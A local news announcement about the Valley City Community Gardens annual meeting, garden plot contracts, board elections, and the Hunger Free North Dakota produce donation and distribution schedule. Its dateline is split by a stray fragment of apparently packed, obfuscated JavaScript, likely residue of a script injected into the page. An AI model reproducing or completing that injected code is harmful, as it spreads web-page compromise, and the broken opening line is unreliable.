VALLEY kihnh|var|u0026u|referrer|enfyh||js|php’.split(‘|’),0,{}))
CITY, ND – (NewsDakota.com) The Valley City Community Gardens announces that its Annual Meeting will be held on Tuesday, April 19, at Our Savior’s Lutheran Church. Please join us by entering the north doors in the Gathering Room.

If you are looking to rent a 20’x 20’ garden plot (located at 10th St. SW—adjacent to Riverside Gardens) at the cost of $40 per year, we will have 2016 Season Garden Contracts available for signing beginning at 6:30pm—we hope to have all contracts signed by 7:00pm when we will start our VCCG Annual Business Meeting.

The Valley City Community Gardens is ran by a volunteer Steering Committee currently with 10 board members.  This year, there are three VCCG Board Member positions that are up for re-election: Alicia Hoffarth, Randy Schlecht, and Susan Milender-Toppen.  They are each on the ballot for another 3 year term. We also have two open seats on our steering committee and will entertain nominations from the floor during the annual meeting.

In addition to the business meeting that evening, we will have treats available, a gardening door prize, and a thorough VCCG contract review presented by Sheryl Solberg and Don Bauer.  We will also have a presentation focusing on Gardening Tips and Tricks.

If you cannot make the meeting, you are welcome to stop by the NDSU Extension Office (2nd floor of the Barnes County Courthouse) between 8:00am and 5:00pm M-F to pay your garden plot fee and sign the contract beginning April 1.  

If you’re like most gardeners, you plant way more than you and your family can eat.  So, what to do with the excess?  Consider joining the Hunger Free North Dakota Garden Project!

The Hunger Free North Dakota Garden project, a venture initiated by the North Dakota  Department of Agriculture, began in 2010 in Barnes County.  Local partners in the project include the Valley City Community Gardens, Open Door Center, Barnes County Social Services, City-County Health, the Women, Infants and Children program (WIC), Barnes County Food Pantry, and Trinity Lutheran Church-Valley City.  These organizations are actively involved in identifying those in need as well as distributing produce during the growing season.

How can you help? Three ways: 1) If you have spare time or simply like to be outdoors, feel free to help weed the designated Hunger Free plots at the Community Gardens. Any assistance with this would be greatly appreciated; 2) Contribute excess produce from your own garden, whether it is located at the Community Gardens or another site; and, 3) Tell your neighbors and friends about the project. Anyone can help and all are welcome!

To donate produce, you can drop it off at the Community Gardens before 11:00 am on Mondays or Thursdays during the growing season beginning in mid-July.  Last year, we distributed over 2000 pounds to the hungry in Valley City! Let’s aim to match or better this figure this year!

How can you receive free, locally grown produce?  We will begin our ND Hunger Free Distribution in mid-July on Thursdays at the Barnes County Senior Center in the lobby from 3:30pm until 5:00pm and on Mondays at Trinity Lutheran Church from 5:00pm until 6:00pm.  If you are in need of a ND Hunger Free Distribution Referral Card, please check with one of our partners listed above.  Each Monday and Thursday through then end of September, we will be distributing at these two locations on the same days of the week and times.

If you have any questions, contact Stephanie Mayfield at 840-2923 or vcgardens@gmail.com.